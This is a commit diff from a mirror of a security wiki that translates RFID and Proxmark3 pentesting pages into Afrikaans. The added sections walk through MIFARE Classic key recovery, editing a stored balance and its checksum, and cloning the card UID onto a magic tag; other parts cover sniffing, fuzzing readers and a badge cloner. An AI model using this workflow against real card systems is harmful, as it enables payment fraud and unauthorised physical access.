mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/todo/radio-hacking/pentesting-rfid.md', 'src/todo/radio
This commit is contained in:
parent
1b37b8e33e
commit
d3f85ecff0
@ -2,102 +2,148 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Inleiding
|
||||
|
||||
**Radio Frequency Identification (RFID)** is die mees gewilde kortafstand radio-oplossing. Dit word gewoonlik gebruik om inligting te stoor en oor te dra wat 'n entiteit identifiseer.
|
||||
**Radio Frequency Identification (RFID)** is die gewildste kortafstand radio-oplossing. Dit word gewoonlik gebruik om inligting wat 'n entiteit identifiseer, te stoor en oor te dra.
|
||||
|
||||
'n RFID-tag kan staatmaak op **sy eie kragbron (aktief)**, soos 'n ingebedde battery, of sy krag ontvang van die leesantenna deur die huidige **geïnduseer deur die ontvangde radiogolwe** (**passief**).
|
||||
'n RFID-tag kan staatmaak op **sy eie kragbron (active)**, soos 'n ingeslote battery, of sy krag van die lees-antenna ontvang deur die stroom **wat geskep word uit die ontvangde radiogolwe** (**passive**).
|
||||
|
||||
### Classes
|
||||
### Klasse
|
||||
|
||||
EPCglobal verdeel RFID-tags in ses kategorieë. 'n Tag in elke kategorie het al die vermoëns wat in die vorige kategorie gelys is, wat dit terugwaarts versoenbaar maak.
|
||||
EPCglobal verdeel RFID-tags in ses kategorieë. 'n Tag in elke kategorie het al die vermoëns wat in die vorige kategorie gelys is, wat dit agterwaarts versoenbaar maak.
|
||||
|
||||
- **Klas 0** tags is **passiewe** tags wat in **UHF** bande werk. Die verskaffer **voorprogrammeer** hulle by die produksiefabriek. As gevolg hiervan, kan jy **nie verander** die inligting wat in hul geheue gestoor is nie.
|
||||
- **Klas 1** tags kan ook in **HF** bande werk. Daarbenewens kan hulle **slegs een keer geskryf** word na produksie. Baie Klas 1 tags kan ook **sirkel redundansietoetsing** (CRC's) van die opdragte wat hulle ontvang, verwerk. CRC's is 'n paar ekstra bytes aan die einde van die opdragte vir foutopsporing.
|
||||
- **Klas 2** tags kan **meermale geskryf** word.
|
||||
- **Klas 3** tags kan **ingebedde sensors** bevat wat omgewingsparameters kan opneem, soos die huidige temperatuur of die beweging van die tag. Hierdie tags is **semi-passief**, omdat hulle **'n** ingebedde kragbron het, soos 'n geïntegreerde **batterij**, maar hulle **kan nie inisieer** draadlose **kommunikasie** met ander tags of lesers nie.
|
||||
- **Klas 4** tags kan kommunikasie inisieer met ander tags van dieselfde klas, wat hulle **aktiewe tags** maak.
|
||||
- **Klas 5** tags kan **krag aan ander tags verskaf en kommunikeer met al die vorige tag** klasse. Klas 5 tags kan optree as **RFID-lesers**.
|
||||
- **Class 0** tags is **passive** tags wat in **UHF** bands werk. Die verskaffer **preprogrammeer** dit by die vervaardigingsfabriek. Gevolglik **kan jy nie verander** die inligting wat in hul geheue gestoor is nie.
|
||||
- **Class 1** tags kan ook in **HF** bands werk. Daarbenewens kan hulle **eenmalig geskryf** word na produksie. Baie Class 1 tags kan ook **cyclic redundancy checks** (CRCs) van die opdragte wat hulle ontvang verwerk. CRCs is 'n paar ekstra bytes aan die einde van die opdragte vir foutopsporing.
|
||||
- **Class 2** tags kan **meermale geskryf** word.
|
||||
- **Class 3** tags kan **ingeslote sensors** bevat wat omgewingsparameters kan opneem, soos die huidige temperatuur of die tag se beweging. Hierdie tags is **semi-passive**, want alhoewel hulle **'n** ingeslote kragbron het, soos 'n geïntegreerde **battery**, **kan hulle nie inisieer** draadlose **kommunikasie** met ander tags of readers nie.
|
||||
- **Class 4** tags kan kommunikasie met ander tags van dieselfde klas inisieer, wat hulle **active tags** maak.
|
||||
- **Class 5** tags kan **krag aan ander tags voorsien en kommunikeer met al die vorige tag** klasse. Class 5 tags kan as **RFID readers** optree.
|
||||
|
||||
### Information Stored in RFID Tags
|
||||
### Inligting gestoor in RFID-tags
|
||||
|
||||
'n RFID-tag se geheue stoor gewoonlik vier soorte data: die **identifikasiedata**, wat die **entiteit** identifiseer waaraan die tag geheg is (hierdie data sluit gebruiker-gedefinieerde velde in, soos bankrekeninge); die **aanvullende data**, wat **verdere** **besonderhede** oor die entiteit verskaf; die **kontroldata**, wat gebruik word vir die tag se interne **konfigurasie**; en die tag se **fabrikantdata**, wat 'n tag se Unieke Identifiseerder (**UID**) en besonderhede oor die tag se **produksie**, **tipe**, en **verskaffer** bevat. Jy sal die eerste twee soorte data in al die kommersiële tags vind; die laaste twee kan verskil op grond van die tag se verskaffer.
|
||||
'n RFID-tag se geheue stoor gewoonlik vier soorte data: die **identifikasie-data**, wat die **entiteit** waaraan die tag vasgemaak is **identifiseer** (hierdie data sluit gebruikersgedefinieerde velde in, soos bankrekeninge); die **aanvullende data**, wat **verdere** **besonderhede** oor die entiteit verskaf; die **kontrole-data**, wat gebruik word vir die tag se interne **konfigurasie**; en die tag se **vervaardigersdata**, wat 'n tag se Unique Identifier (**UID**) en besonderhede oor die tag se **produksie**, **tipe**, en **verskaffer** bevat. Jy sal die eerste twee soorte data in alle kommersiële tags vind; die laaste twee kan verskil afhangende van die tag se verskaffer.
|
||||
|
||||
Die ISO-standaard spesifiseer die Toepassing Familie Identifiseerder (**AFI**) waarde, 'n kode wat die **soort objek** aandui waaraan die tag behoort. 'n Ander belangrike register, wat ook deur ISO gespesifiseer is, is die Data Stoorformaat Identifiseerder (**DSFID**), wat die **logiese organisasie van die gebruikersdata** definieer.
|
||||
Die ISO-standaard spesifiseer die Application Family Identifier (**AFI**) waarde, 'n kode wat die **soort objek** aandui waaraan die tag behoort. Nog 'n belangrike register, ook deur ISO gespesifiseer, is die Data Storage Format Identifier(**DSFID**), wat die **logiese organisasie van die gebruikersdata** definieer.
|
||||
|
||||
Die meeste RFID **veiligheidsbeheer** het meganismes wat die **lees** of **skryf** operasies op elke gebruikers geheueblok en op die spesiale registers wat die AFI en DSFID waardes bevat, **beperk**. Hierdie **sluit** **meganismes** gebruik data wat in die kontrole geheue gestoor is en het **standaard wagwoorde** wat deur die verskaffer vooraf geconfigureer is, maar laat die tag-eienaars toe om **aangepaste wagwoorde te konfigureer**.
|
||||
Die meeste RFID **security controls** het meganismes wat die **lees** of **skryf** operasies op elke gebruikersgeheueblok en op die spesiale registers wat die AFI en DSFID waardes bevat **beperk**. Hierdie **slot** **meganismes** gebruik data wat in die kontrolegeheue gestoor is en het **padrone** voorafgekonfigureer deur die verskaffer, maar laat die tag-eienaars toe om **eie paswoorde te konfigureer**.
|
||||
|
||||
### Low & High frequency tags comparison
|
||||
### Vergelyking van lae- en hoëfrekwensie-tags
|
||||
|
||||
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Low-Frequency RFID Tags (125kHz)
|
||||
## Lae-frekwensie RFID-tags (125kHz)
|
||||
|
||||
**Lae-frekwensie tags** word dikwels gebruik in stelsels wat **nie hoë sekuriteit** vereis nie: gebou-toegang, interkomsleutels, gimnasium lidmaatskapkaarte, ens. Vanweë hul hoër reeks, is dit gerieflik om te gebruik vir betaalde motorparkering: die bestuurder hoef nie die kaart naby die leser te bring nie, aangesien dit van 'n groter afstand geaktiveer word. Terselfdertyd is lae-frekwensie tags baie primitief, hulle het 'n lae data-oordragtempo. Om daardie rede is dit onmoontlik om komplekse twee-rigting data-oordrag te implementeer vir dinge soos die handhawing van balans en kriptografie. Lae-frekwensie tags stuur slegs hul kort ID oor sonder enige vorm van outentisering.
|
||||
**Lae-frekwensie tags** word dikwels gebruik in stelsels wat **nie hoë sekuriteit vereis nie**: gebou-toegang, interkom-sleutels, gimnasium-lidmaatskapkaarte, ens. Vanweë hul groter reikafstand is hulle gerieflik vir betaalde motorhuis-parkeerplekke: die bestuurder hoef nie die kaart naby die leser te bring nie, aangesien dit van verder af geaktiveer word. Tegelykertyd is lae-frekwensie tags baie primitief en het hulle 'n lae data-oordragspoed. Om daardie rede is dit onmoontlik om komplekse twee-weg data-oordrag vir dinge soos balansbestuur en kriptografie te implementeer. Lae-frekwensie tags stuur slegs hul kort ID sonder enige vorm van autentikasie.
|
||||
|
||||
Hierdie toestelle staatmaak op **passiewe** **RFID** tegnologie en werk in 'n **reeks van 30 kHz tot 300 kHz**, alhoewel dit meer gebruiklik is om 125 kHz tot 134 kHz te gebruik:
|
||||
Hierdie toestelle berus op **passive** **RFID** tegnologie en werk in 'n **reeks van 30 kHz tot 300 kHz**, alhoewel dit meer algemeen is om 125 kHz tot 134 kHz te gebruik:
|
||||
|
||||
- **Langafstand** — laer frekwensie vertaal na hoër reeks. Daar is 'n paar EM-Marin en HID lesers, wat van 'n afstand van tot 'n meter werk. Hierdie word dikwels in motorparkering gebruik.
|
||||
- **Primitiewe protokol** — as gevolg van die lae data-oordragtempo kan hierdie tags slegs hul kort ID oordra. In die meeste gevalle is data nie geoutentiseer nie en dit is nie op enige manier beskerm nie. Sodra die kaart binne die reeks van die leser is, begin dit net om sy ID oor te dra.
|
||||
- **Lae sekuriteit** — Hierdie kaarte kan maklik gekopieer word, of selfs van iemand anders se sak gelees word as gevolg van die protokol se primitiewe aard.
|
||||
- **Lang Reikwydte** — laer frekwensie vertaal na groter reikwydte. Daar is sommige EM-Marin en HID readers wat van 'n afstand tot ongeveer 'n meter werk. Hierdie word dikwels in motorparkeerareas gebruik.
|
||||
- **Primtiewe protokol** — as gevolg van die lae data-oordragspoed kan hierdie tags slegs hul kort ID stuur. In meeste gevalle word data nie geverifieer nie en dit is op geen manier beskerm nie. Sodra die kaart in die reikwydte van die leser is, begin dit net om sy ID uit te stuur.
|
||||
- **Lae sekuriteit** — Hierdie kaarte kan maklik gekopieer word, of selfs vanaf iemand anders se sak gelees word as gevolg van die protokol se primitiewe aard.
|
||||
|
||||
**Populêre 125 kHz protokolle:**
|
||||
**Gewilde 125 kHz protokolle:**
|
||||
|
||||
- **EM-Marin** — EM4100, EM4102. Die mees gewilde protokol in CIS. Kan van ongeveer 'n meter gelees word as gevolg van sy eenvoud en stabiliteit.
|
||||
- **HID Prox II** — lae-frekwensie protokol wat deur HID Global bekendgestel is. Hierdie protokol is meer gewild in die westerse lande. Dit is meer kompleks en die kaarte en lesers vir hierdie protokol is relatief duur.
|
||||
- **Indala** — baie ou lae-frekwensie protokol wat deur Motorola bekendgestel is, en later deur HID verkry is. Jy is minder geneig om dit in die natuur te teëkom in vergelyking met die vorige twee omdat dit uit gebruik val.
|
||||
- **EM-Marin** — EM4100, EM4102. Die gewildste protokol in CIS. Kan ongeveer van 'n meter gelees word vanweë sy eenvoud en stabiliteit.
|
||||
- **HID Prox II** — low-frequency protokol bekendgestel deur HID Global. Hierdie protokol is meer gewild in Westerse lande. Dit is meer kompleks en die kaarte en readers vir hierdie protokol is relatief duur.
|
||||
- **Indala** — baie ou low-frequency protokol wat deur Motorola bekendgestel is, en later deur HID verkry is. Jy sal dit minder waarskynlik in die veld teëkom in vergelyking met die vorige twee omdat dit uit gebruik raak.
|
||||
|
||||
In werklikheid is daar baie meer lae-frekwensie protokolle. Maar hulle gebruik almal dieselfde modulering op die fisiese laag en kan beskou word, op een of ander manier, as 'n variasie van diegene wat hierbo gelys is.
|
||||
In werklikheid is daar baie meer low-frequency protokolle. Maar hulle gebruik almal dieselfde modulering op die fisiese laag en kan in een of ander opsig as variasies van bogenoemde beskou word.
|
||||
|
||||
### Attack
|
||||
### Aanval
|
||||
|
||||
Jy kan **hierdie Tags met die Flipper Zero aanval**:
|
||||
Jy kan hierdie Tags met die Flipper Zero aanval:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-125khz-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
## High-Frequency RFID Tags (13.56 MHz)
|
||||
## Hoë-frekwensie RFID-tags (13.56 MHz)
|
||||
|
||||
**Hoë-frekwensie tags** word gebruik vir 'n meer komplekse leser-tag interaksie wanneer jy kriptografie, 'n groot twee-rigting data-oordrag, outentisering, ens. benodig.\
|
||||
Dit word gewoonlik in bankkaarte, openbare vervoer, en ander veilige toegangspasse aangetref.
|
||||
**Hoë-frekwensie tags** word gebruik vir 'n meer komplekse reader-tag interaksie wanneer jy kriptografie, groot twee-weg data-oordrag, autentikasie, ens. benodig.\
|
||||
Dit word gewoonlik aangetref in bankkaarte, openbare vervoer, en ander veilige pases.
|
||||
|
||||
**Hoë-frekwensie 13.56 MHz tags is 'n stel standaarde en protokolle**. Hulle word gewoonlik verwys na as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), maar dit is nie altyd korrek nie. Die basiese protokolstel wat op die fisiese en logiese vlakke gebruik word, is ISO 14443. Hoë-vlak protokolle, sowel as alternatiewe standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as **Near Field Communication (NFC)**, 'n term vir toestelle wat oor die 13.56 MHz frekwensie werk.
|
||||
**Hoë-frekwensie 13.56 MHz tags is 'n stel standaarde en protokolle**. Hulle word gewoonlik na verwys as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), maar dit is nie altyd korrek nie. Die basiese protokolstel wat op die fisiese en logiese vlak gebruik word is ISO 14443. Hoëvlakprotokolle, sowel as alternatief standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as **Near Field Communication (NFC)**, 'n term vir toestelle wat oor die 13.56 MHz frekwensie werk.
|
||||
|
||||
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Om dit eenvoudig te stel, werk NFC se argitektuur soos volg: die oordragprotokol word gekies deur die maatskappy wat die kaarte maak en geïmplementeer op grond van die lae-vlak ISO 14443. Byvoorbeeld, NXP het sy eie hoë-vlak oordragprotokol genaamd Mifare uitgevind. Maar op die laer vlak is Mifare kaarte gebaseer op die ISO 14443-A standaard.
|
||||
Om dit eenvoudig te stel, werk NFC se argitektuur so: die oordragprotokol word gekies deur die maatskappy wat die kaarte maak en geïmplementeer gebaseer op die lae-vlak ISO 14443. Byvoorbeeld, NXP het sy eie hoëvlakoordragprotokol uitgevind wat Mifare genoem word. Maar op die laer vlak is Mifare-kaarte gebaseer op die ISO 14443-A standaard.
|
||||
|
||||
Flipper kan interaksie hê met beide die lae-vlak ISO 14443 protokol, sowel as Mifare Ultralight data-oordragprotokol en EMV wat in bankkaarte gebruik word. Ons werk aan die toevoeging van ondersteuning vir Mifare Classic en NFC NDEF. 'n Deeglike blik op die protokolle en standaarde wat NFC saamstel, is die moeite werd om 'n aparte artikel te wees wat ons van plan is om later op te laai.
|
||||
Flipper kan met beide die lae-vlak ISO 14443 protokol kommunikeer, asook Mifare Ultralight data-oordragprotokol en EMV wat in bankkaarte gebruik word. Ons werk daaraan om ondersteuning vir Mifare Classic en NFC NDEF by te voeg. 'n Deeglike uiteensetting van die protokolle en standaarde wat NFC saamstel is die moeite werd vir 'n afsonderlike artikel wat ons beplan om later te publiseer.
|
||||
|
||||
Alle hoë-frekwensie kaarte gebaseer op die ISO 14443-A standaard het 'n unieke chip ID. Dit dien as die kaart se serienommer, soos 'n netwerkkaart se MAC-adres. **Gewoonlik is die UID 4 of 7 bytes lank**, maar kan selde **tot 10** gaan. UIDs is nie 'n geheim nie en hulle is maklik leesbaar, **soms selfs op die kaart self gedruk**.
|
||||
Alle hoë-frekwensie kaarte gebaseer op die ISO 14443-A standaard het 'n unieke chip ID. Dit tree op as die kaart se seriële nommer, soos 'n netwerkkaart se MAC-adres. **Gewoonlik is die UID 4 of 7 bytes lank**, maar kan selde **tot 10** gaan. UIDs is nie 'n geheim nie en hulle is maklik leesbaar, **soms selfs op die kaart self gedruk**.
|
||||
|
||||
Daar is baie toegangbeheer stelsels wat op UID staatmaak om **te outentiseer en toegang te verleen**. Soms gebeur dit **selfs** wanneer RFID-tags **kripto**grafie ondersteun. So 'n **misbruik** bring hulle terug na die vlak van die dom **125 kHz kaarte** in terme van **veiligheid**. Virtuele kaarte (soos Apple Pay) gebruik 'n dinamiese UID sodat telefooneienaars nie deure met hul betalingsapp kan oopmaak nie.
|
||||
Daar is baie toegangbeheer-stelsels wat op UID staatmaak om **te autentiseer en toegang te verleen**. Soms gebeur dit **selfs** wanneer RFID-tags **kriptografie ondersteun**. Sulke **misbruik** bring hulle terug na die vlak van dom **125 kHz kaarte** in terme van **sekuriteit**. Virtuele kaarte (soos Apple Pay) gebruik 'n dinamiese UID sodat telefoon-eienaars nie deure met hul betaalapp gaan oopmaak nie.
|
||||
|
||||
- **Lae reeks** — hoë-frekwensie kaarte is spesifiek ontwerp sodat hulle naby die leser geplaas moet word. Dit help ook om die kaart te beskerm teen ongeoorloofde interaksies. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met op maat gemaakte hoë-reeks lesers.
|
||||
- **Geavanceerde protokolle** — data-oordragspoed tot 424 kbps laat komplekse protokolle met volwaardige twee-rigting data-oordrag toe. Wat op sy beurt **kripto**grafie, data-oordrag, ens. toelaat.
|
||||
- **Hoë veiligheid** — hoë-frekwensie kontaklose kaarte is op geen manier minderwaardig aan slim kaarte nie. Daar is kaarte wat kriptografies sterk algoritmes soos AES ondersteun en onreëlmatige kriptografie implementeer.
|
||||
- **Lae reikwydte** — hoë-frekwensie kaarte is spesifiek ontwerp sodat hulle naby die leser geplaas moet word. Dit help ook om die kaart teen ongemagtigde interaksies te beskerm. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met pasgemaakte hoë-reikwydte lesers.
|
||||
- **Gevorderde protokolle** — data-oordragspoed tot 424 kbps laat komplekse protokolle met volwaardige twee-weg data-oordrag toe. Wat op sy beurt **kriptografie**, data-oordrag, ens. **toelaat**.
|
||||
- **Hoë sekuriteit** — hoë-frekwensie contactless kaarte is in geen opsig minderwaardige as smart cards nie. Daar is kaarte wat kriptografies sterk algoritmes soos AES ondersteun en asymmetriese kriptografie implementeer.
|
||||
|
||||
### Attack
|
||||
### Aanval
|
||||
|
||||
Jy kan **hierdie Tags met die Flipper Zero aanval**:
|
||||
Jy kan hierdie Tags met die Flipper Zero aanval:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-nfc.md
|
||||
{{#endref}}
|
||||
|
||||
Of met die **proxmark**:
|
||||
Of gebruik die **proxmark**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Building a Portable HID MaxiProx 125 kHz Mobile Cloner
|
||||
### MiFare Classic offline stored-value tampering (broken Crypto1)
|
||||
|
||||
As jy 'n **langafstand**, **batterij-aangedrewe** oplossing benodig om HID Prox® badges tydens rooi-span betrokkenhede te oes, kan jy die muur-gemonteerde **HID MaxiProx 5375** leser omskakel in 'n selfstandige kloner wat in 'n rugsak pas. Die volledige meganiese en elektriese stap-vir-stap is hier beskikbaar:
|
||||
Wanneer 'n stelsel 'n monetêre balans direk op 'n MiFare Classic kaart stoor, kan jy dit dikwels manipuleer omdat Classic NXP se verouderde Crypto1 cipher gebruik. Crypto1 is al jare gebreek, wat die herstel van sektor-sleutels en volle lees/skryf van kaartgeheue met kommersiële hardeware (bv., Proxmark3) toelaat.
|
||||
|
||||
End-to-end workflow (abstracted):
|
||||
|
||||
1) Dump the original card and recover keys
|
||||
```bash
|
||||
# Attempt all built-in Classic key recovery attacks and dump the card
|
||||
hf mf autopwn
|
||||
```
|
||||
Dit herstel tipies sector keys (A/B) en genereer 'n full-card dump in die client dumps folder.
|
||||
|
||||
2) Lokaliseer en verstaan die value/integrity fields
|
||||
|
||||
- Voer legitime top-ups op die oorspronklike kaart uit en neem verskeie dumps (voor/na).
|
||||
- Doen 'n diff van die twee dumps om die veranderende blocks/bytes te identifiseer wat die balans en enige integrity fields voorstel.
|
||||
- Baie Classic deployments gebruik óf die native "value block" encoding óf bou hul eie checksums (bv., XOR van die balans met 'n ander field en 'n konstante). Nadat jy die balans verander het, herbereken die integrity bytes ooreenkomstig en verseker dat alle gedupliseerde/aanvullende fields konsekwent is.
|
||||
|
||||
3) Skryf die gewijzigde dump na 'n writable “Chinese magic” Classic tag
|
||||
```bash
|
||||
# Load a modified binary dump onto a UID-changeable Classic tag
|
||||
hf mf cload -f modified.bin
|
||||
```
|
||||
4) Kloon die oorspronklike UID sodat terminale die kaart herken
|
||||
```bash
|
||||
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
|
||||
hf mf csetuid -u <original_uid>
|
||||
```
|
||||
5) Gebruik by terminale
|
||||
|
||||
Lesers wat op die balans op die kaart en die UID staatmaak, sal die gemanipuleerde kaart aanvaar. Veldwaarnemings toon dat baie uitrolle balanse beperk gebaseer op veldwydte (bv., 16-bit fixed-point).
|
||||
|
||||
Notas
|
||||
|
||||
- Indien die stelsel native Classic value blocks gebruik, onthou die formaat: value (4B) + ~value (4B) + value (4B) + block address + ~address. Al die dele moet ooreenstem.
|
||||
- Vir custom formats met eenvoudige checksums is differential analysis die vinnigste manier om die integriteitsfunksie af te lei sonder reversing firmware.
|
||||
- Slegs UID-changeable tags ("Chinese magic" gen1a/gen2) laat toe om block 0/UID te skryf. Normale Classic cards het read-only UIDs.
|
||||
|
||||
Vir hands-on Proxmark3 commands, sien:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Bou 'n Draagbare HID MaxiProx 125 kHz Mobile Cloner
|
||||
|
||||
As jy 'n **langafstand**, **op battery aangedrewe** oplossing nodig het om HID Prox® badges te oes tydens red-team engagements, kan jy die muur-gemonteerde **HID MaxiProx 5375** leser omskakel in 'n self-inkluderende cloner wat in 'n rugsak pas. Die volledige meganiese en elektriese deurloop is hier beskikbaar:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -106,9 +152,12 @@ maxiprox-mobile-cloner.md
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aanval op RFID-stelsels met Proxmark3
|
||||
## Aanvalle op RFID-stelsels met Proxmark3
|
||||
|
||||
Die eerste ding wat jy moet doen is om 'n [**Proxmark3**](https://proxmark.com) te hê en [**die sagteware en sy afhanklikhede te installeer**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
Die eerste ding wat jy moet doen, is om 'n [**Proxmark3**](https://proxmark.com) te hê en die [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux) te installeer.
|
||||
|
||||
### Aanval op MIFARE Classic 1KB
|
||||
|
||||
Dit het **16 sektore**, elkeen het **4 blokke** en elke blok bevat **16B**. Die UID is in sektor 0 blok 0 (en kan nie verander word nie).\
|
||||
Om toegang tot elke sektor te verkry, het jy **2 sleutels** (**A** en **B**) wat in **blok 3 van elke sektor** gestoor is (sektor trailer). Die sektor trailer stoor ook die **toegangsbits** wat die **lees en skryf** regte op **elke blok** gee met behulp van die 2 sleutels.\
|
||||
2 sleutels is nuttig om regte te gee om te lees as jy die eerste een ken en te skryf as jy die tweede een ken (byvoorbeeld).
|
||||
Dit het **16 sektore**, elkeen daarvan het **4 blokke** en elke blok bevat **16B**. Die UID is in sektor 0 blok 0 (en kan nie verander word nie).\
|
||||
Om toegang tot elke sektor te verkry het jy **2 sleutels** (**A** en **B**) nodig wat gestoor word in **blok 3 van elke sektor** (sector trailer). Die sector trailer stoor ook die **access bits** wat die **lees en skryf** toestemmings op **elke blok** gee met behulp van die 2 sleutels.\
|
||||
2 sleutels is nuttig om toestemming te gee om te lees as jy die eerste ken en om te skryf as jy die tweede ken (byvoorbeeld).
|
||||
|
||||
Verskeie aanvalle kan uitgevoer word
|
||||
```bash
|
||||
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
||||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Die Proxmark3 maak dit moontlik om ander aksies uit te voer soos **afluister** van 'n **Tag na Leser kommunikasie** om te probeer om sensitiewe data te vind. In hierdie kaart kan jy net die kommunikasie snuffel en die gebruikte sleutel bereken omdat die **kryptografiese operasies wat gebruik word swak is** en deur die plain en cipher teks te ken, kan jy dit bereken (`mfkey64` tool).
|
||||
Die Proxmark3 maak dit moontlik om ander aksies uit te voer, soos **eavesdropping** op 'n **Tag to Reader communication**, om te probeer sensitiewe data te vind. Op hierdie kaart kan jy net die kommunikasie sniff en die gebruikte sleutel bereken, omdat die **kriptografiese operasies wat gebruik word swak is**, en deur die onversleutelde en versleutelde teks te ken, kan jy dit bereken (`mfkey64` tool).
|
||||
|
||||
### Rauwe Opdragte
|
||||
#### MiFare Classic vinnige werkvloei vir misbruik van gestoorwaarde
|
||||
|
||||
IoT-stelsels gebruik soms **nie-gemerkte of nie-kommersiële etikette**. In hierdie geval kan jy Proxmark3 gebruik om pasgemaakte **rauwe opdragte na die etikette** te stuur.
|
||||
Wanneer terminals balanse op Classic-kaarte stoor, is 'n tipiese end-to-end-vloei:
|
||||
```bash
|
||||
# 1) Recover sector keys and dump full card
|
||||
proxmark3> hf mf autopwn
|
||||
|
||||
# 2) Modify dump offline (adjust balance + integrity bytes)
|
||||
# Use diffing of before/after top-up dumps to locate fields
|
||||
|
||||
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
|
||||
proxmark3> hf mf cload -f modified.bin
|
||||
|
||||
# 4) Clone original UID so readers recognize the card
|
||||
proxmark3> hf mf csetuid -u <original_uid>
|
||||
```
|
||||
Aantekeninge
|
||||
|
||||
- `hf mf autopwn` orkestreer nested/darkside/HardNested-styl aanvalle, herwin sleutels, en skep dumps in die kliënt se dumps-lêergids.
|
||||
- `Writing block 0/UID` werk slegs op magic gen1a/gen2-kaarte. Normale Classic-kaarte het 'n read-only UID.
|
||||
- Baie implementasies gebruik Classic "value blocks" of eenvoudige checksums. Maak seker dat alle gedupliseerde/aanvulde velde en checksums na die redigering konsekwent is.
|
||||
|
||||
Sien 'n hoërvlak metodologie en mitigasies in:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
### Ruwe Opdragte
|
||||
|
||||
IoT-stelsels gebruik soms **nie-merkgebonde of nie-kommersiële tags**. In daardie geval kan jy Proxmark3 gebruik om pasgemaakte **ruwe opdragte aan die tags te stuur**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
|
||||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Met hierdie inligting kan jy probeer om inligting oor die kaart en oor die manier om daarmee te kommunikeer, te soek. Proxmark3 laat jou toe om rou opdragte te stuur soos: `hf 14a raw -p -b 7 26`
|
||||
Met hierdie inligting kan jy probeer om inligting oor die kaart en oor die manier om daarmee te kommunikeer te soek. Proxmark3 laat toe om raw commands te stuur soos: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Skripte
|
||||
### Scripts
|
||||
|
||||
Die Proxmark3 sagteware kom met 'n vooraf gelaaide lys van **outomatiseringsskripte** wat jy kan gebruik om eenvoudige take uit te voer. Om die volledige lys te verkry, gebruik die `script list` opdrag. Gebruik dan die `script run` opdrag, gevolg deur die naam van die skrip:
|
||||
Die Proxmark3-sagteware kom met 'n voorafgelaaide lys van **automation scripts** wat jy kan gebruik om eenvoudige take uit te voer. Om die volledige lys te kry, gebruik die `script list` command. Daarna gebruik die `script run` command, gevolg deur die naam van die script:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
U kan 'n skrif skep om **fuzz tag readers** te doen, so om die data van 'n **geldige kaart** te kopieer, skryf net 'n **Lua-skrif** wat een of meer willekeurige **bytes** randomiseer en kyk of die **leser crash** met enige iterasie.
|
||||
Jy kan 'n skrip skep om **fuzz tag readers** — deur die data van 'n **valid card** te kopieer, skryf jy 'n **Lua script** wat een of meer willekeurige **bytes** **randomize** en kontroleer of die **reader crashes** by enige iterasie.
|
||||
|
||||
## References
|
||||
|
||||
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
|
||||
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
